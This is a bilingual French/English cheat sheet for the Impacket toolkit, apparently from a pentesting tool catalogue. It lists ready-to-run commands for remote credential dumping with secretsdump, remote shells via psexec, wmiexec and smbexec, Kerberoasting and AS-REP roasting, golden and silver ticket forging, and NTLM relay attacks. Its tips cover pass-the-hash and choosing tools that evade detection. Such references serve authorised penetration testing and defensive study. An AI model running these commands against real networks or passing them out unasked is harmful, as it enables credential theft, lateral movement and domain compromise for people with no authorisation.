impacket-scripts
Scripts Python Impacket pour les protocoles réseau. Une suite complète pour les attaques Windows/Active Directory : relais SMB, secretsdump, psexec, attaques Kerberos, exploitation DCOM, et plus encore. Impacket Python network protocol scripts. A comprehensive suite for Windows/Active Directory attacks — SMB relay, secretsdump, psexec, Kerberos attacks, DCOM exploitation, and more.
↗ https://github.com/fortra/impacketOverview
Impacket is a collection of Python scripts for working with Windows network protocols. It’s the foundational toolkit for Active Directory pentesting — implementing SMB, MSRPC, LDAP, Kerberos, and DCOM in pure Python, enabling attacks that would otherwise require Windows.
Credential Attacks
# Dump credentials remotely (requires admin)
impacket-secretsdump DOMAIN/user:password@10.10.10.1
impacket-secretsdump -hashes :NT_HASH DOMAIN/user@10.10.10.1
Dump local SAM/SYSTEM/SECURITY
impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY LOCAL
Extract only SAM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Remote Execution
PSExec — creates a service, interactive shell
impacket-psexec DOMAIN/admin:password@10.10.10.1
SMBExec — uses SMB file share (no service creation)
impacket-smbexec DOMAIN/admin:password@10.10.10.1
WMIExec — WMI-based execution (semi-interactive)
impacket-wmiexec DOMAIN/admin:password@10.10.10.1
DCOMExec — DCOM-based execution
impacket-dcomexec DOMAIN/admin:password@10.10.10.1
ATExec — scheduled task execution
impacket-atexec DOMAIN/admin:password@10.10.10.1 cmd
Kerberos Attacks
# GetTGT — request a Kerberos TGT
impacket-getTGT DOMAIN/user:password
export KRB5CCNAME=user.ccache
GetST — request service ticket (for delegation attacks)
impacket-getST -spn cifs/target.domain.local DOMAIN/user:password
GetUserSPNs — Kerberoasting
impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.1 -request
GetNPUsers — AS-REP Roasting
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass
Ticketer — create silver/golden tickets
impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN admin
SMB Enumeration
List shares
impacket-smbclient DOMAIN/user:password@10.10.10.1
List shares (command line)
impacket-smbclient DOMAIN/user:password@10.10.10.1 -no-pass
Enumerate domain users
impacket-lookupsid DOMAIN/user:password@10.10.10.1
SID lookup
impacket-lookupsid DOMAIN/user:password@10.10.10.1 0
Relay Attacks
NTLM relay to SMB targets
impacket-ntlmrelayx -tf targets.txt -smb2support
Relay to LDAP (adds computer account)
impacket-ntlmrelayx -tf ldap://DC_IP -smb2support --add-computer
Relay to HTTP (WebDAV, Exchange)
impacket-ntlmrelayx -t http://EXCHANGE/ews/ -smb2support
LDAP Enumeration
ldapdomaindump
impacket-ldapdomaindump -u DOMAIN\\user -p password 10.10.10.1
Query LDAP
impacket-ldap-shell DOMAIN/user:password@10.10.10.1
Tips
- secretsdump is the most used impacket tool — dumps everything from a system
- Prefer wmiexec/smbexec over psexec for OPSEC (no service creation)
- Pass-the-hash with
-hashes :NT_HASHworks on most impacket tools - GetNPUsers (AS-REP roasting) doesn’t require auth — try with no password against user list
- Impacket supports Kerberos auth (
-k -no-pass) with a valid TGT in KRB5CCNAME
Help / Man page
Common impacket scripts:
impacket-psexec Remote command execution via service
impacket-smbexec Remote execution via SMB share
impacket-wmiexec Remote execution via WMI
impacket-secretsdump Dump credentials (SAM, LSA, NTDS)
impacket-GetUserSPNs Kerberoasting
impacket-GetNPUsers AS-REP roasting
impacket-ntlmrelayx NTLM relay attacks
impacket-lookupsid SID/RID enumeration
impacket-smbclient Interactive SMB client
impacket-getTGT Request Kerberos TGT
impacket-ticketer Create Kerberos tickets
Authentication: DOMAIN/user:password or :NT_HASH or -k (Kerberos)
Vue d’ensemble
Impacket est une collection de scripts Python pour interagir avec les protocoles réseau Windows. C’est la boîte à outils fondamentale pour le pentest Active Directory : elle implémente SMB, MSRPC, LDAP, Kerberos et DCOM en pur Python, permettant des attaques qui nécessiteraient autrement Windows.
Attaques sur les identifiants
# Extraire les identifiants à distance (nécessite des droits admin)
impacket-secretsdump DOMAIN/user:password@10.10.10.1
impacket-secretsdump -hashes :NT_HASH DOMAIN/user@10.10.10.1
# Extraire SAM/SYSTEM/SECURITY en local
impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY LOCAL
# Extraire uniquement SAM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Exécution à distance
# PSExec : crée un service, shell interactif
impacket-psexec DOMAIN/admin:password@10.10.10.1
# SMBExec : utilise un partage SMB (pas de création de service)
impacket-smbexec DOMAIN/admin:password@10.10.10.1
# WMIExec : exécution basée sur WMI (semi-interactif)
impacket-wmiexec DOMAIN/admin:password@10.10.10.1
# DCOMExec : exécution basée sur DCOM
impacket-dcomexec DOMAIN/admin:password@10.10.10.1
# ATExec : exécution via tâche planifiée
impacket-atexec DOMAIN/admin:password@10.10.10.1 cmd
Attaques Kerberos
# GetTGT : demander un TGT Kerberos
impacket-getTGT DOMAIN/user:password
export KRB5CCNAME=user.ccache
# GetST : demander un ticket de service (pour les attaques de délégation)
impacket-getST -spn cifs/target.domain.local DOMAIN/user:password
# GetUserSPNs : Kerberoasting
impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.1 -request
# GetNPUsers : AS-REP Roasting
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass
# Ticketer : créer des tickets silver/golden
impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN admin
Énumération SMB
# Lister les partages
impacket-smbclient DOMAIN/user:password@10.10.10.1
# Lister les partages (ligne de commande)
impacket-smbclient DOMAIN/user:password@10.10.10.1 -no-pass
# Énumérer les utilisateurs du domaine
impacket-lookupsid DOMAIN/user:password@10.10.10.1
# Recherche de SID
impacket-lookupsid DOMAIN/user:password@10.10.10.1 0
Attaques par relais
# Relais NTLM vers des cibles SMB
impacket-ntlmrelayx -tf targets.txt -smb2support
# Relais vers LDAP (ajoute un compte machine)
impacket-ntlmrelayx -tf ldap://DC_IP -smb2support --add-computer
# Relais vers HTTP (WebDAV, Exchange)
impacket-ntlmrelayx -t http://EXCHANGE/ews/ -smb2support
Énumération LDAP
# ldapdomaindump
impacket-ldapdomaindump -u DOMAIN\\user -p password 10.10.10.1
# Requête LDAP
impacket-ldap-shell DOMAIN/user:password@10.10.10.1
Conseils
- secretsdump est l’outil impacket le plus utilisé : il extrait tout d’un système
- Préférer wmiexec/smbexec à psexec pour l’OPSEC (pas de création de service)
- Le pass-the-hash avec
-hashes :NT_HASHfonctionne sur la plupart des outils impacket - GetNPUsers (AS-REP roasting) ne nécessite pas d’authentification : essayer sans mot de passe sur une liste d’utilisateurs
- Impacket supporte l’authentification Kerberos (
-k -no-pass) avec un TGT valide dans KRB5CCNAME
Aide / Page de manuel
Common impacket scripts:
impacket-psexec Remote command execution via service
impacket-smbexec Remote execution via SMB share
impacket-wmiexec Remote execution via WMI
impacket-secretsdump Dump credentials (SAM, LSA, NTDS)
impacket-GetUserSPNs Kerberoasting
impacket-GetNPUsers AS-REP roasting
impacket-ntlmrelayx NTLM relay attacks
impacket-lookupsid SID/RID enumeration
impacket-smbclient Interactive SMB client
impacket-getTGT Request Kerberos TGT
impacket-ticketer Create Kerberos tickets
Authentication: DOMAIN/user:password or :NT_HASH or -k (Kerberos)